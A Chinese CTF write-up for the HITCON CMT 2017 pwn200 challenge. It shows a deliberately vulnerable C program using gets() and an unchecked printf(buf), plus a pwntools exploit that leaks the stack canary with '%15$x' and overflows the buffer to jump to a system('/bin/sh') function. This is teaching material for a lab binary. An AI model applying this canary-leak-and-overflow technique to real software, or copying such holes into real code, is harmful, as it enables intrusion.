HITCON CMT2017-pwn200-wp

HITCON community 2017的一道pwn题

#include<stdio.h>
#include<stdlib.h>
void canary_protect_me(){
    system("/bin/sh");
}
int main(){
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);
    char buf[40];
    gets(buf);
    printf(buf);
    gets(buf);
    return 0;
}

编译开启Partial RELRO, Canary, NX

gcc -m32 -z lazy -z nonexecstack -fstack-protector -no-pie pwn200.c -o pwn200

在这里插入图片描述在这里插入图片描述
利用格式化字符串漏洞泄露canary的值, 通过栈溢出填充, 覆盖返回地址, 跳转到canary_protect_me()拿shell
调试, 断到main()开始
在这里插入图片描述
mov eax, gs: 0x14
mov DWORD PTR [ebp - 0xc], eax
是canary的读取和存放, canary放到[ebp - 0xc]中, 读取$ebp-0xc
在这里插入图片描述

断到printf(), 查看写入缓冲区后的栈数据
在这里插入图片描述
偏移量为15(从0开始数), 所以第一次写入字符串"%15$x"可以泄露canary, 再拿个canary_protect_me的虚拟地址
在这里插入图片描述
完整exp

from pwn import *
io = process('./pwn200')

io.sendline("%15$x")
canary = int(io.recv(), 16)
log.info("canary: 0x%x" % canary)

binsh = 0x80491a2
payload = "A" * 0x28 + p32(canary) + "A" * 0xc + p32(binsh)
io.sendline(payload)
io.interactive()

在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值